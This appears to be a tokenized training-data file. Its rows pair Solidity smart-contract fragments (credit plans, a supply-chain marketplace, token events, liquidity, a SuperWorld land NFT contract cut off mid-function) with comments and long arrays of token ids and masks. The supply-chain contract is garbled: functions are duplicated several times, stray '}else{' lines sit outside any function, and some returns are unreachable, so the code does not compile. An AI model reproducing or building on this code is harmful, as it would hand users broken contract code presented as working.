limitsInEffect = false;
return true;
}
| 4,232,695 | [
1,
4479,
8181,
1839,
1147,
353,
14114,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1206,
3039,
1435,
3903,
1338,
5541,
1135,
261,
6430,
15329,
203,
3639,
8181,
382,
12477,
273,
629,
31,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x702860f8fBaCecAbE4Fe21b88BE490D3740276CE/sources/contracts/Credits.sol | * @notice Batch function for owner/admin to activate multiple credit buy plans at once. @param _planIds An array of plan ids to be activated./ Plan id should be valid. Activate the plan id. | function batchActivateCreditBuyPlans(
uint256[] memory _planIds
) external onlyAdminOrOwner {
for (uint256 i = 0; i < _planIds.length; i++) {
uint256 planId = _planIds[i];
require(
planId != 0 && planId <= creditBuyPlansAvailable,
"Invalid plan id."
);
creditBuyPlans[planId].isActive = true;
}
emit ActivatedCreditBuyPlans(msg.sender, _planIds, block.timestamp);
}
| 9,737,196 | [
1,
4497,
445,
364,
3410,
19,
3666,
358,
10235,
3229,
12896,
30143,
21440,
622,
3647,
18,
225,
389,
7088,
2673,
1922,
526,
434,
4995,
3258,
358,
506,
14892,
18,
19,
12540,
612,
1410,
506,
923,
18,
30936,
326,
4995,
612,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2581,
21370,
16520,
38,
9835,
22846,
12,
203,
3639,
2254,
5034,
8526,
3778,
389,
7088,
2673,
203,
565,
262,
3903,
1338,
4446,
1162,
5541,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
7088,
2673,
18,
2469,
31,
277,
27245,
288,
203,
5411,
2254,
5034,
4995,
548,
273,
389,
7088,
2673,
63,
77,
15533,
203,
5411,
2583,
12,
203,
7734,
4995,
548,
480,
374,
597,
4995,
548,
1648,
12896,
38,
9835,
22846,
5268,
16,
203,
7734,
315,
1941,
4995,
612,
1199,
203,
5411,
11272,
203,
203,
5411,
12896,
38,
9835,
22846,
63,
7088,
548,
8009,
291,
3896,
273,
638,
31,
203,
3639,
289,
203,
203,
3639,
3626,
26939,
690,
16520,
38,
9835,
22846,
12,
3576,
18,
15330,
16,
389,
7088,
2673,
16,
1203,
18,
5508,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x79963Fb81DF993775e861eE4005ddA3Fe85D8F72/sources/tests/SupplyChain.sol | Producer list [address and name]. Products details. | contract MyContract{
mapping(address => string) public producers;
int public totalProduct = 0;
struct product{
int id;
int price;
int quantity;
string product_name;
address producer_address;
}
mapping(int=>product) public products;
int public totalOrder = 0;
struct order{
int id;
int product_id;
int quantity;
string customer_name;
string status;
string delivery_address;
address customer_address;
}
mapping(int => order) public orders;
modifier reginsterProducerAuth() {
require(bytes(producers[msg.sender]).length == 0);
_;
}
modifier addProductAuth() {
require(bytes(producers[msg.sender]).length > 0);
_;
}
function getTotalProduct() view public returns (int) {
return totalProduct;
}
function getTotalOrder() view public returns (int) {
return totalOrder;
}
function isRegistered(address _addr) view public returns (bool) {
if(bytes(producers[_addr]).length == 0){
return (false);
return (true);
}
}
function isRegistered(address _addr) view public returns (bool) {
if(bytes(producers[_addr]).length == 0){
return (false);
return (true);
}
}
}else{
function reginsterProducer(string memory _name) public reginsterProducerAuth {
producers[msg.sender] = _name;
}
function addProduct(string memory _pname, int _price, int _quantity) public addProductAuth {
totalProduct += 1;
products[totalProduct] = product(totalProduct, _price, _quantity, _pname, msg.sender);
}
function getTotalProduct(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalProduct;i++){
if(products[i].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getTotalProduct(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalProduct;i++){
if(products[i].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getTotalProduct(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalProduct;i++){
if(products[i].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getNextProduct(address _addr, int _pid) view public returns (int, int, int, string memory, bool) {
require(_pid <= totalProduct);
if(products[_pid].producer_address == _addr){
return (products[_pid].id, products[_pid].price, products[_pid].quantity, products[_pid].product_name, true);
}
return (0,0, 0, "", false);
}
function getNextProduct(address _addr, int _pid) view public returns (int, int, int, string memory, bool) {
require(_pid <= totalProduct);
if(products[_pid].producer_address == _addr){
return (products[_pid].id, products[_pid].price, products[_pid].quantity, products[_pid].product_name, true);
}
return (0,0, 0, "", false);
}
function updatePrice(int _pid, int _newPrice) public {
require(products[_pid].producer_address == msg.sender);
products[_pid].price = _newPrice;
}
function getMyTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalOrder; i++){
if(products[orders[i].product_id].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getMyTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalOrder; i++){
if(products[orders[i].product_id].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getMyTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i<=totalOrder; i++){
if(products[orders[i].product_id].producer_address == _addr){
counter++;
}
}
return (counter);
}
function getMyNextOrderById(address _addr,int _oid) view public returns(int,int,int,string memory,string memory,string memory, bool) {
require(_oid <= totalOrder);
if(products[orders[_oid].product_id].producer_address==_addr){
return (orders[_oid].id, orders[_oid].product_id, orders[_oid].quantity, orders[_oid].customer_name, orders[_oid].status, orders[_oid].delivery_address, true);
}
return (0,0,0,"","","",false);
}
function getMyNextOrderById(address _addr,int _oid) view public returns(int,int,int,string memory,string memory,string memory, bool) {
require(_oid <= totalOrder);
if(products[orders[_oid].product_id].producer_address==_addr){
return (orders[_oid].id, orders[_oid].product_id, orders[_oid].quantity, orders[_oid].customer_name, orders[_oid].status, orders[_oid].delivery_address, true);
}
return (0,0,0,"","","",false);
}
function updateOrderStatus(int _oid, string memory _status) public {
require(products[orders[_oid].product_id].producer_address == msg.sender);
if (keccak256(abi.encodePacked(_status)) == keccak256(abi.encodePacked("Rejected"))) {
products[orders[_oid].product_id].quantity+=orders[_oid].quantity;
orders[_oid].status = _status;
if(keccak256(abi.encodePacked(orders[_oid].status))!=keccak256(abi.encodePacked("Rejected"))&&
keccak256(abi.encodePacked(_status))==keccak256(abi.encodePacked("Delivered"))){
orders[_oid].status = _status;
}
}
}
function updateOrderStatus(int _oid, string memory _status) public {
require(products[orders[_oid].product_id].producer_address == msg.sender);
if (keccak256(abi.encodePacked(_status)) == keccak256(abi.encodePacked("Rejected"))) {
products[orders[_oid].product_id].quantity+=orders[_oid].quantity;
orders[_oid].status = _status;
if(keccak256(abi.encodePacked(orders[_oid].status))!=keccak256(abi.encodePacked("Rejected"))&&
keccak256(abi.encodePacked(_status))==keccak256(abi.encodePacked("Delivered"))){
orders[_oid].status = _status;
}
}
}
}else{
function updateOrderStatus(int _oid, string memory _status) public {
require(products[orders[_oid].product_id].producer_address == msg.sender);
if (keccak256(abi.encodePacked(_status)) == keccak256(abi.encodePacked("Rejected"))) {
products[orders[_oid].product_id].quantity+=orders[_oid].quantity;
orders[_oid].status = _status;
if(keccak256(abi.encodePacked(orders[_oid].status))!=keccak256(abi.encodePacked("Rejected"))&&
keccak256(abi.encodePacked(_status))==keccak256(abi.encodePacked("Delivered"))){
orders[_oid].status = _status;
}
}
}
function getProductById(int _pid) view public returns (int, int, int, string memory) {
require(_pid <= totalProduct);
return (products[_pid].id, products[_pid].price, products[_pid].quantity, products[_pid].product_name);
}
function placeOrder(string memory _cname, string memory _daddress, int _pid, int _quantity) public {
require(products[_pid].quantity >= _quantity);
totalOrder += 1;
orders[totalOrder] = order(totalOrder, _pid, _quantity, _cname, "Placed", _daddress, msg.sender);
products[_pid].quantity -= _quantity;
}
function getTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i <= totalOrder; i++){
if(_addr == orders[i].customer_address){
counter++;
}
}
return (counter);
}
function getTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i <= totalOrder; i++){
if(_addr == orders[i].customer_address){
counter++;
}
}
return (counter);
}
function getTotalOrder(address _addr) view public returns (int) {
int counter = 0;
for(int i=1; i <= totalOrder; i++){
if(_addr == orders[i].customer_address){
counter++;
}
}
return (counter);
}
function fetchNextOrderById(address _addr, int _oid) view public returns (int, int, int, string memory, string memory, string memory, bool){
require(_oid <= totalOrder);
if(_addr==orders[_oid].customer_address){
return (orders[_oid].id, orders[_oid].product_id, orders[_oid].quantity, orders[_oid].customer_name, orders[_oid].status, orders[_oid].delivery_address, true);
}
return (0, 0, 0, "", "", "", false);
}
function fetchNextOrderById(address _addr, int _oid) view public returns (int, int, int, string memory, string memory, string memory, bool){
require(_oid <= totalOrder);
if(_addr==orders[_oid].customer_address){
return (orders[_oid].id, orders[_oid].product_id, orders[_oid].quantity, orders[_oid].customer_name, orders[_oid].status, orders[_oid].delivery_address, true);
}
return (0, 0, 0, "", "", "", false);
}
} | 14,141,909 | [
1,
12140,
666,
306,
2867,
471,
508,
8009,
8094,
87,
3189,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
8005,
8924,
95,
203,
565,
2874,
12,
2867,
516,
533,
13,
1071,
4810,
13062,
31,
203,
377,
203,
565,
509,
1071,
2078,
4133,
273,
374,
31,
203,
565,
1958,
3017,
95,
203,
3639,
509,
612,
31,
203,
3639,
509,
6205,
31,
203,
3639,
509,
10457,
31,
203,
3639,
533,
3017,
67,
529,
31,
203,
3639,
1758,
12608,
67,
2867,
31,
203,
565,
289,
203,
565,
2874,
12,
474,
9207,
5896,
13,
1071,
10406,
31,
203,
377,
203,
565,
509,
1071,
2078,
2448,
273,
374,
31,
203,
565,
1958,
1353,
95,
203,
3639,
509,
612,
31,
203,
3639,
509,
3017,
67,
350,
31,
203,
3639,
509,
10457,
31,
203,
3639,
533,
6666,
67,
529,
31,
203,
3639,
533,
1267,
31,
203,
3639,
533,
7912,
67,
2867,
31,
203,
3639,
1758,
6666,
67,
2867,
31,
203,
565,
289,
203,
565,
2874,
12,
474,
516,
1353,
13,
1071,
11077,
31,
203,
377,
203,
565,
9606,
960,
267,
8190,
12140,
1730,
1435,
288,
203,
3639,
2583,
12,
3890,
12,
11776,
13062,
63,
3576,
18,
15330,
65,
2934,
2469,
422,
374,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
565,
9606,
527,
4133,
1730,
1435,
288,
203,
3639,
2583,
12,
3890,
12,
11776,
13062,
63,
3576,
18,
15330,
65,
2934,
2469,
405,
374,
1769,
203,
3639,
389,
31,
203,
565,
289,
203,
377,
203,
377,
203,
565,
445,
12831,
4133,
1435,
1476,
1071,
1135,
261,
474,
13,
288,
203,
3639,
327,
2078,
4133,
31,
203,
565,
289,
203,
377,
203,
565,
445,
12831,
2448,
1435,
2
]
|
./partial_match/1/0xE4dD566b410Fe45db55BD9F5f928269290B0a674/sources/SecurityToken.sol | Emit when Module is unarchived from the SecurityToken | event ModuleUnarchived(uint8[] _types, address _module, uint256 _timestamp);
| 4,335,505 | [
1,
17982,
1347,
5924,
353,
640,
991,
2950,
628,
326,
6036,
1345,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
871,
5924,
984,
991,
2950,
12,
11890,
28,
8526,
389,
2352,
16,
1758,
389,
2978,
16,
2254,
5034,
389,
5508,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/80001/0x9b12f48A2C998a2Fe010db54bc45f814eF1f78b0/sources/project:/contracts/WHAPcoin_Liquidity.sol | Add liquidity to Uniswap V2
| addLiquidity(otherHalf, newBalance); | 844,606 | [
1,
986,
4501,
372,
24237,
358,
1351,
291,
91,
438,
776,
22,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
527,
48,
18988,
24237,
12,
3011,
16168,
16,
394,
13937,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.8;
import "https://github.com/kole-swapnil/openzeppelin-contracts/contracts/token/ERC721/ERC721.sol";
abstract contract ERC20Interface {
function transferFrom(address from, address to, uint tokens) public virtual returns (bool success);
function balanceOf(address tokenOwner) public virtual view returns (uint balance); //"constant" deprecated at 0.5.0
}
contract SuperWorldToken is ERC721{
address public owner;
address public coinAddress;
ERC20Interface public superWorldCoin;
// percentage cut
uint public percentageCut;
uint public basePrice;
uint public buyId = 0;
uint public listId = 0;
// tokenId => base price in wei
mapping(uint => uint) public basePrices;
// tokenId => bought price in wei
mapping(uint => uint) public boughtPrices;
// tokenId => sell price in wei
mapping(uint => uint) public sellPrices;
// tokenId => is selling
mapping(uint => bool) public isSellings;
//added //tokenOwner
// mapping(uint => address)public _tokenOwners;
// tokenId => buyId
mapping(uint => uint) public buyIds;
// token history
struct TokenHistory {
uint tokenId;
address owner;
uint price;
}
// tokenId => token history array
mapping(uint => TokenHistory[]) public tokenHistories;
// events
// TODO: add timestamp (block or UTC)
event EventBuyToken(uint buyId, string lon, string lat, address indexed buyer, address indexed seller, uint price, uint timestamp);
event EventBuyTokenFail(uint buyId, string lon, string lat, address indexed buyer, address indexed seller, uint price, uint timestamp);
event EventBuyTokenId1(uint buyId, uint indexed tokenId1, string lon, string lat, address buyer, address seller, uint price, uint timestamp);
event EventListToken(uint listId, uint buyId, string lon, string lat, address indexed seller, uint price, bool isListed, uint timestamp);
event EventListTokenId1(uint listId, uint buyId, uint indexed tokenId1, string lon, string lat, address seller, uint price, bool isListed, uint timestamp);
event EventReceiveApproval(address buyer, uint coins, address _coinAddress, bytes32 _data);
constructor(address _coinAddress, uint _percentageCut, uint _basePrice)
public
ERC721("SuperWorld", "SUPERWORLD") {
owner = msg.sender;
coinAddress = _coinAddress;
superWorldCoin = ERC20Interface(coinAddress);
percentageCut = _percentageCut;
basePrice = _basePrice;
buyId = 0;
listId = 0;
}
function setBasePrice(uint _basePrice) public {
require(msg.sender == owner);
require(_basePrice > 0);
basePrice = _basePrice;
}
//changed
function setBasePrice(string memory lon, string memory lat, uint _basePrice) public {
require(msg.sender == owner);
require(_basePrice > 0);
uint tokenId = getTokenId(lon, lat);
basePrices[tokenId] = _basePrice;
}
function setPercentageCut(uint _percentageCut) public {
require(msg.sender == owner);
require(_percentageCut > 0);
percentageCut = _percentageCut;
}
function createToken(address buyer, uint tokenId, uint256 price) private {
_mint(buyer, tokenId);
recordTransaction(tokenId, price);
}
function recordTransaction(uint tokenId, uint256 price) private {
boughtPrices[tokenId] = price;
tokenHistories[tokenId].push(TokenHistory(tokenId, msg.sender, price));
}
//changed
function getTokenId(string memory lon, string memory lat) pure public returns (uint) {
return uint(keccak256(abi.encodePacked(lon, ",", lat)));
}
//changed
// getInfo: tokenId, tokenOwner, isOwned, isSelling, price
function getInfo(string memory lon, string memory lat) view public returns (uint, address, bool, bool, uint) {
uint tokenId = getTokenId(lon, lat);
address tokenowner = EnumerableMap.get(_tokenOwners,tokenId); //address _tokenOwner = tokenOwner[tokenId];
bool isOwned = tokenowner != address(0); //bool isOwned = tokenowner != 0x0;
bool isSelling = isSellings[tokenId];
uint price = getPrice(tokenId);
